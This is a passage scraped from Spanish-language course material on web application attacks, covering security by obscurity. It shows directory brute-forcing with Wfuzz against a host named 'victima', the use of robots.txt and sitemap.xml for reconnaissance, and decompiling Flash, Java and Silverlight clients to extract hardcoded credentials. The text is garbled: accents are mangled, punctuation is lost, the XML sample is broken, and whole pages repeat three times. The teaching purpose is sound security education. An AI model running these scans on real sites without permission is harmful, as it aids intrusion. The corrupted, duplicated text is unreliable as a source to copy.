res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 64: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 65: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

